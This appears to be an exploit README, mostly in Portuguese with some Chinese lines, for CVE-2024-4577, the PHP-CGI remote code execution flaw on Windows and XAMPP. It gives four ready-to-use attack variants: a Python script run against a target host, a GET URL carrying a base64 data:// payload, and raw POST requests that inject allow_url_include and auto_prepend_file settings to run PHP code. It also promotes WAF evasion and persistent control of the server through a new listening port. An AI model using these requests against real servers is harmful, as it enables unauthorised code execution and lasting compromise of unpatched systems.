CVE-2024-4577-PHP-RCE

Resumo do projeto e princípio

• O primeiro EXP do mundo a explorar a vulnerabilidade CVE-2024-4577 PHP-CGI RCE no ambiente PHP padrão (XAMPP).
• O primeiro exploit CVE-2024-4577 PHP-CGI RCE do mundo que utiliza o ambiente PHP padrão. Compartilha o exploit original, suporta SSRF, suporta bypass de WAF.
• Realiza RCE no ambiente PHP padrão. Princípio: cgi.force_redirect + REDIRECT-STATUS.
• Novo EXP original, suporta a abordagem para cenários de bypass de WAF. Princípio: criação de um servidor FastCGI + comunicação via protocolo FastCGI.
• Novo EXP original, suporta a abordagem para cenários de SSRF. Princípio: protocolo data:// + requisição GET.

Vantagens do EXP 1

• Realiza RCE sem a necessidade de allow_url_include, auto_prepend_file, auto_append_file. Pode incluir quaisquer arquivos e arquivos PHP.
• Não utiliza as palavras-chave que o WAF frequentemente bloqueia: allow_url_include, auto_prepend_file, auto_append_file.
• Toda a comunicação do servidor FastCGI não é registrada pelo WAF.
• Escuta em uma nova porta, permitindo assim controle persistente do servidor PHP, de forma independente do Apache e do PHP.

Resumo da vulnerabilidade

Informação	Conteúdo
Nome da vulnerabilidade	PHP RCE
Identificador da vulnerabilidade	CVE-2024-4577
Nível de risco	Alto
Tipo de vulnerabilidade	RCE
Dificuldade de exploração	Baixa

Versões afetadas

• PHP para Windows 8.3.0 <= versões afetadas < 8.3.8
• PHP para Windows 8.2.0 <= versões afetadas < 8.2.20
• PHP para Windows 8.1.0 <= versões afetadas < 8.1.29
• PHP para Windows versões afetadas == 8.0.x
• PHP para Windows versões afetadas == 7.x
• PHP para Windows versões afetadas == 5.x
• XAMPP para Windows 8.2.0 <= versões afetadas <= 8.2.12
• XAMPP para Windows 8.1.0 <= versões afetadas <= 8.1.25
• XAMPP para Windows versões afetadas == 8.0.x
• XAMPP para Windows versões afetadas == 7.x
• XAMPP para Windows versões afetadas == 5.x

EXP 1

Pode ser usado no cenário de bypass de WAF + cenário padrão:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

Por exemplo:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Pode ser usado no cenário de SSRF + cenário padrão:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Pode ser usado no cenário padrão:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Pode ser usado no cenário padrão:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reprodução

1. Ambiente do servidor:

XAMPP Windows版 8.2.12

2. Baixar e instalar o XAMPP no servidor:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本：https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

3. Configuração do servidor

无需任何修改，保持默认配置

4. Usar o EXP no cliente

使用上述EXP进行测试

5. Verificação

观察是否返回字符串 "TesT" 或者服务端system.ini文件内容